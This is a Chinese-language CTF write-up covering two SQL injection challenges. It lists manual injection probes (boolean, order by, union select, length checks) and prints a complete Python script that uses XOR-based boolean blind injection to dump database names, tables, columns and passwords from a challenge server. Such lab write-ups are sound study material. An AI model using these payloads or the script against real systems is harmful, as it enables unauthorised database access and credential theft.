1. 程式人生 > 實用技巧 >漏洞重溫之sql注入(FUZZ)

漏洞重溫之sql注入(FUZZ)

漏洞重溫之sql注入(FUZZ)

[強網杯 2019]隨便注

首先,根據頁面,發現頁面上有一個搜尋框,並且url裡面沒有id等引數控制頁面,粗略猜測該位置的注入型別是POST型。

post型注入一般使用抓包工具進行注入。

根據資料包,發現之前判斷有誤。但是在url裡在查詢操作之後多了一個可操作引數。使用測試語句來判斷閉合。

1' and 1=1 -- 
1' and 1=2 -- 

確認了閉合之後,使用order by判斷注入。

1' order by 2 -- 

確定了顯示的位置之後,使用聯合查詢進行注入。

1' and 1=2 union select 1,2 -- 

發現,可以使用的函式大部分都被過濾了。所以這裡我們直接使用盲注進行。因為之前在測試語句的時候,我們可以發現1=1和1=2返回的結果不同,所以代表我們可以使用布林型盲注。

1' and length((database()))>1 -- 
1' and length((database()))>10 -- 

然後只需要按照盲注的方式逐步進行即可。

[極客大挑戰 2019]FinalSQL

首先,看到這個頁面,有登入框,那就必須要嘗試一下萬能密碼。

看來,對方在萬能密碼上做了足夠多的防護。

然後,我們還可以看到,在頁面的位置,還存在幾個可以點選的選項,嘗試點選一下。

可以看到,雖然沒有任何的顯示,但是在url的位置上,多出了一截,資訊大概是?id=1。在url上有了引數之後,因為在頁面上並沒有回顯位置。

所以我們可以嘗試的,也就只有報錯注入和盲注了。

這裡,因為我們並沒有看到回顯的位置,所以暫時先嚐試了盲注。

決定使用盲注之後,就要嘗試尋找注入點,這裡可以使用bp自帶的字典。

發現‘^’沒有被過濾之後,那麼直接寫指令碼進行盲注。

當然,我是不太會自己寫,所以上網找了大佬寫的盲註腳本。

import re
import requests
import string

url = "http://56c946f5-9ecf-4a67-88da-81a5393ac53e.node3.buuoj.cn/search.php"
flag = ''


def payload(i, j):
    # 資料庫名字
    # sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)
    # 表名
    # sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)
    # 列名
    # sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)
    # 查詢flag
    sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)
    data = {"id": sql}
    r = requests.get(url, params=data)
    # print (r.url)
    if "Click" in r.text:
        res = 1
    else:
        res = 0
    return res


def exp():
    global flag
    for i in range(1, 10000):
        print(i, ':')
        low = 31
        high = 127
        while low <= high:
            mid = (low + high) // 2
            res = payload(i, mid)
            if res:
                low = mid + 1
            else:
                high = mid - 1
        f = int((low + high + 1)) // 2
        if (f == 127 or f == 31):
            break
        # print (f)
        flag += chr(f)
        print(flag)


exp()
print('flag=', flag)

使用第一行爆資料庫名的程式碼,得到結果如下,猜測儲存flag的資料庫為geek。

接下來,挨個使用爆表名,爆欄位,爆資料等資訊。

最後得到flag如下:

flag{90727511-6b73-45fd-b93d-1e7943d8fb62}

挑戰完成。